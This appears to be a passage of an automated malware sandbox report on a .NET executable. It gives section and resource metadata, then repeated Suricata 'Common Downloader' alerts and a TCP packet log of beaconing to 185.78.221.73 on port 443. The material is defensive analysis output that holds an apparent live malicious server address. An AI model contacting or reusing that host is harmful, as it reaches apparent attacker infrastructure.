.text	0x2000	0x130f4	0x13200	b51685bf0f58b8451e276017fed0c3d5	False	0.4299045138888889	data	5.833628346549411	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x16000	0x5a6	0x600	14aa2812bc3fab17cc2b007937ab6d92	False	0.4147135416666667	data	4.066375020215588	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x18000	0xc	0x200	8b796bc7c5be0017bba11b0fcce2de8a	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x160a0	0x31c	data			0.4271356783919598
RT_MANIFEST	0x163bc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T16:39:51.401075+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49705	185.78.221.73	443	TCP
2024-11-24T16:39:53.540559+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49706	185.78.221.73	443	TCP
2024-11-24T16:39:55.666338+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49707	185.78.221.73	443	TCP
2024-11-24T16:39:57.728782+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49708	185.78.221.73	443	TCP
2024-11-24T16:39:59.871514+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49709	185.78.221.73	443	TCP
2024-11-24T16:40:02.304994+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49710	185.78.221.73	443	TCP
2024-11-24T16:40:04.421654+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49712	185.78.221.73	443	TCP
2024-11-24T16:40:06.534889+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49716	185.78.221.73	443	TCP
2024-11-24T16:40:08.720246+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49724	185.78.221.73	443	TCP
2024-11-24T16:40:11.069558+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49731	185.78.221.73	443	TCP
2024-11-24T16:40:13.206878+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49736	185.78.221.73	443	TCP
2024-11-24T16:40:15.295010+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49739	185.78.221.73	443	TCP
2024-11-24T16:40:17.430133+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49745	185.78.221.73	443	TCP
2024-11-24T16:40:19.603593+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49750	185.78.221.73	443	TCP
2024-11-24T16:40:21.670966+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49756	185.78.221.73	443	TCP
2024-11-24T16:40:23.741763+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49762	185.78.221.73	443	TCP
2024-11-24T16:40:26.024965+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49768	185.78.221.73	443	TCP
2024-11-24T16:40:28.135229+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49774	185.78.221.73	443	TCP
2024-11-24T16:40:30.315272+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49780	185.78.221.73	443	TCP
2024-11-24T16:40:32.414978+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49786	185.78.221.73	443	TCP
2024-11-24T16:40:34.476180+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49792	185.78.221.73	443	TCP
2024-11-24T16:40:36.687159+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49798	185.78.221.73	443	TCP
2024-11-24T16:40:38.945230+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49804	185.78.221.73	443	TCP
2024-11-24T16:40:41.043529+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49810	185.78.221.73	443	TCP
2024-11-24T16:40:43.110786+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49816	185.78.221.73	443	TCP
2024-11-24T16:40:45.283742+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49821	185.78.221.73	443	TCP
2024-11-24T16:40:47.624713+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49826	185.78.221.73	443	TCP
2024-11-24T16:40:49.858524+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49832	185.78.221.73	443	TCP
2024-11-24T16:40:52.044746+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49838	185.78.221.73	443	TCP
2024-11-24T16:40:54.206930+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49843	185.78.221.73	443	TCP
2024-11-24T16:40:56.327948+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49848	185.78.221.73	443	TCP
2024-11-24T16:40:58.397043+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49854	185.78.221.73	443	TCP
2024-11-24T16:41:00.554109+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49860	185.78.221.73	443	TCP
2024-11-24T16:41:02.668329+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49866	185.78.221.73	443	TCP
2024-11-24T16:41:04.852015+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49872	185.78.221.73	443	TCP
2024-11-24T16:41:06.998226+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49878	185.78.221.73	443	TCP
2024-11-24T16:41:09.264556+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49884	185.78.221.73	443	TCP
2024-11-24T16:41:11.413512+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49890	185.78.221.73	443	TCP
2024-11-24T16:41:13.530498+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49896	185.78.221.73	443	TCP
2024-11-24T16:41:15.896293+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49903	185.78.221.73	443	TCP
2024-11-24T16:41:17.953399+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49909	185.78.221.73	443	TCP
2024-11-24T16:41:20.021538+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49915	185.78.221.73	443	TCP
2024-11-24T16:41:22.162128+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49920	185.78.221.73	443	TCP
2024-11-24T16:41:24.293433+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49926	185.78.221.73	443	TCP
2024-11-24T16:41:26.362624+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49932	185.78.221.73	443	TCP
2024-11-24T16:41:27.999619+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49936	185.78.221.73	443	TCP
2024-11-24T16:41:30.110523+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49940	185.78.221.73	443	TCP
2024-11-24T16:41:32.250630+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49946	185.78.221.73	443	TCP
2024-11-24T16:41:34.472517+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49952	185.78.221.73	443	TCP
2024-11-24T16:41:36.605982+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49958	185.78.221.73	443	TCP
2024-11-24T16:41:38.769614+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49964	185.78.221.73	443	TCP
2024-11-24T16:41:40.993990+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49970	185.78.221.73	443	TCP
2024-11-24T16:41:43.133043+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49976	185.78.221.73	443	TCP
2024-11-24T16:41:45.321630+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49982	185.78.221.73	443	TCP
2024-11-24T16:41:47.442439+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49988	185.78.221.73	443	TCP
2024-11-24T16:41:49.312385+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49994	185.78.221.73	443	TCP
2024-11-24T16:41:51.449963+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49998	185.78.221.73	443	TCP
2024-11-24T16:41:53.730773+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50003	185.78.221.73	443	TCP
2024-11-24T16:41:56.048697+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50009	185.78.221.73	443	TCP
2024-11-24T16:41:58.317362+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50016	185.78.221.73	443	TCP
2024-11-24T16:42:00.469968+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50022	185.78.221.73	443	TCP
2024-11-24T16:42:02.618403+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50027	185.78.221.73	443	TCP
2024-11-24T16:42:04.938503+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50031	185.78.221.73	443	TCP
2024-11-24T16:42:06.998935+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50037	185.78.221.73	443	TCP
2024-11-24T16:42:09.381897+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50042	185.78.221.73	443	TCP
2024-11-24T16:42:11.527060+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50043	185.78.221.73	443	TCP
2024-11-24T16:42:13.738065+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50044	185.78.221.73	443	TCP
2024-11-24T16:42:15.920173+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50045	185.78.221.73	443	TCP
2024-11-24T16:42:18.156721+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50046	185.78.221.73	443	TCP
2024-11-24T16:42:20.341454+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50047	185.78.221.73	443	TCP
2024-11-24T16:42:24.137871+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50049	185.78.221.73	443	TCP
2024-11-24T16:42:26.254261+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50050	185.78.221.73	443	TCP
2024-11-24T16:42:28.422217+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50051	185.78.221.73	443	TCP
2024-11-24T16:42:30.601864+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50052	185.78.221.73	443	TCP
2024-11-24T16:42:32.765753+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50053	185.78.221.73	443	TCP
2024-11-24T16:42:34.893411+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50054	185.78.221.73	443	TCP
2024-11-24T16:42:37.053039+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50055	185.78.221.73	443	TCP
2024-11-24T16:42:39.192504+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50056	185.78.221.73	443	TCP
2024-11-24T16:42:41.368963+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50057	185.78.221.73	443	TCP
2024-11-24T16:42:43.580215+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50058	185.78.221.73	443	TCP
2024-11-24T16:42:45.797063+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50059	185.78.221.73	443	TCP
2024-11-24T16:42:48.089218+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50060	185.78.221.73	443	TCP
2024-11-24T16:42:50.233762+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50061	185.78.221.73	443	TCP
2024-11-24T16:42:53.796433+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50063	185.78.221.73	443	TCP
2024-11-24T16:42:55.919626+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50064	185.78.221.73	443	TCP
2024-11-24T16:42:58.095513+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50065	185.78.221.73	443	TCP
2024-11-24T16:43:00.161050+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50066	185.78.221.73	443	TCP
2024-11-24T16:43:02.254428+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50067	185.78.221.73	443	TCP
2024-11-24T16:43:04.386264+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50068	185.78.221.73	443	TCP
2024-11-24T16:43:06.824310+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50069	185.78.221.73	443	TCP
2024-11-24T16:43:09.100708+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50070	185.78.221.73	443	TCP
2024-11-24T16:43:11.315273+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50071	185.78.221.73	443	TCP
2024-11-24T16:43:13.448915+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50072	185.78.221.73	443	TCP
2024-11-24T16:43:15.528310+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50073	185.78.221.73	443	TCP
2024-11-24T16:43:17.903102+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50074	185.78.221.73	443	TCP
2024-11-24T16:43:19.979581+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50075	185.78.221.73	443	TCP
2024-11-24T16:43:22.108915+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50076	185.78.221.73	443	TCP
2024-11-24T16:43:23.718330+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50077	185.78.221.73	443	TCP
2024-11-24T16:43:25.918313+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50078	185.78.221.73	443	TCP
2024-11-24T16:43:28.191332+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50080	185.78.221.73	443	TCP
2024-11-24T16:43:30.317205+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50081	185.78.221.73	443	TCP
2024-11-24T16:43:32.447289+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50082	185.78.221.73	443	TCP
2024-11-24T16:43:34.817272+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50083	185.78.221.73	443	TCP
2024-11-24T16:43:36.893873+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50084	185.78.221.73	443	TCP
2024-11-24T16:43:39.122457+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50085	185.78.221.73	443	TCP
2024-11-24T16:43:41.195902+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50086	185.78.221.73	443	TCP
2024-11-24T16:43:44.351884+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50089	185.78.221.73	443	TCP
2024-11-24T16:43:46.539411+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50090	185.78.221.73	443	TCP
2024-11-24T16:43:48.658880+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50091	185.78.221.73	443	TCP
2024-11-24T16:43:50.910851+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50092	185.78.221.73	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 16:39:47.047550917 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:47.047612906 CET	443	49704	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:47.047687054 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:47.063600063 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:47.063640118 CET	443	49704	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:48.591523886 CET	443	49704	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:48.591629982 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:48.596906900 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:48.596946955 CET	443	49704	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:48.597290039 CET	443	49704	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:48.639789104 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:48.662370920 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:48.707339048 CET	443	49704	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:49.202444077 CET	443	49704	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:49.202522993 CET	443	49704	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:49.202598095 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:49.212671995 CET	49704	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:49.218281984 CET	49705	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:49.218327045 CET	443	49705	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:49.218442917 CET	49705	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:49.218760967 CET	49705	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:49.218770027 CET	443	49705	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:50.774674892 CET	443	49705	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:50.794478893 CET	49705	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:50.794500113 CET	443	49705	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:51.401184082 CET	443	49705	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:51.401253939 CET	443	49705	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:51.401299000 CET	49705	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:51.402120113 CET	49705	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:51.404956102 CET	49706	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:51.405009031 CET	443	49706	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:51.405077934 CET	49706	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:51.405386925 CET	49706	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:51.405405045 CET	443	49706	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:52.928035021 CET	443	49706	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:52.930083990 CET	49706	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:52.930180073 CET	443	49706	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:53.540580988 CET	443	49706	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:53.540653944 CET	443	49706	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:53.540724993 CET	49706	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:53.541347027 CET	49706	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:53.549784899 CET	49707	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:53.549839973 CET	443	49707	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:53.549922943 CET	49707	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:53.553723097 CET	49707	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:53.553750038 CET	443	49707	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:55.058660030 CET	443	49707	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:55.061233044 CET	49707	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:55.061249971 CET	443	49707	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:55.666374922 CET	443	49707	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:55.666443110 CET	443	49707	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:55.666507959 CET	49707	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:55.667331934 CET	49707	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:55.669251919 CET	49708	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:55.669311047 CET	443	49708	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:55.669378996 CET	49708	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:55.669642925 CET	49708	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:55.669661999 CET	443	49708	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:57.136491060 CET	443	49708	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:57.138590097 CET	49708	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:57.138644934 CET	443	49708	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:57.728842020 CET	443	49708	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:57.728912115 CET	443	49708	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:57.728971958 CET	49708	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:57.730055094 CET	49708	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:57.732134104 CET	49709	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:57.732167959 CET	443	49709	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:57.732254982 CET	49709	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:57.732526064 CET	49709	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:57.732536077 CET	443	49709	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:59.250946999 CET	443	49709	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:59.265187025 CET	49709	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:59.265202045 CET	443	49709	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:59.871635914 CET	443	49709	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:59.871828079 CET	443	49709	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:59.871907949 CET	49709	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:59.872605085 CET	49709	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:59.874515057 CET	49710	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:59.874567032 CET	443	49710	185.78.221.73	192.168.2.5
Nov 24, 2024 16:39:59.874653101 CET	49710	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:59.874927044 CET	49710	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:39:59.874943972 CET	443	49710	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:01.687629938 CET	443	49710	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:01.698523045 CET	49710	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:01.698549986 CET	443	49710	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:02.305039883 CET	443	49710	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:02.305130005 CET	443	49710	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:02.305191994 CET	49710	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:02.305737019 CET	49710	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:02.307310104 CET	49712	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:02.307360888 CET	443	49712	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:02.307425976 CET	49712	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:02.307825089 CET	49712	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:02.307833910 CET	443	49712	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:03.817720890 CET	443	49712	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:03.820030928 CET	49712	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:03.820046902 CET	443	49712	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:04.421675920 CET	443	49712	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:04.421760082 CET	443	49712	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:04.422030926 CET	49712	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:04.422907114 CET	49712	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:04.424324989 CET	49716	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:04.424365997 CET	443	49716	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:04.424623966 CET	49716	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:04.425239086 CET	49716	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:04.425254107 CET	443	49716	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:05.931612015 CET	443	49716	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:05.933682919 CET	49716	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:05.933696985 CET	443	49716	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:06.534908056 CET	443	49716	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:06.534986973 CET	443	49716	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:06.535455942 CET	49716	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:06.536037922 CET	49716	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:06.538263083 CET	49724	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:06.538372993 CET	443	49724	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:06.538614035 CET	49724	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:06.538930893 CET	49724	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:06.538961887 CET	443	49724	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:08.109941006 CET	443	49724	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:08.118287086 CET	49724	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:08.118331909 CET	443	49724	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:08.720280886 CET	443	49724	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:08.720351934 CET	443	49724	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:08.720866919 CET	49724	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:08.722086906 CET	49724	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:08.731745958 CET	49731	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:08.731774092 CET	443	49731	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:08.731836081 CET	49731	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:08.732074022 CET	49731	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:08.732086897 CET	443	49731	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:10.335680962 CET	443	49731	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:10.347701073 CET	49731	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:10.347764015 CET	443	49731	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:11.069581032 CET	443	49731	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:11.069684029 CET	443	49731	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:11.069787979 CET	49731	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:11.070600986 CET	49731	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:11.072446108 CET	49736	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:11.072500944 CET	443	49736	185.78.221.73	192.168.2.5
Nov 24, 2024 16:40:11.072586060 CET	49736	443	192.168.2.5	185.78.221.73
Nov 24, 2024 16:40:11.072897911 CET	49736	443	192.168.2.5	185.78.221.73
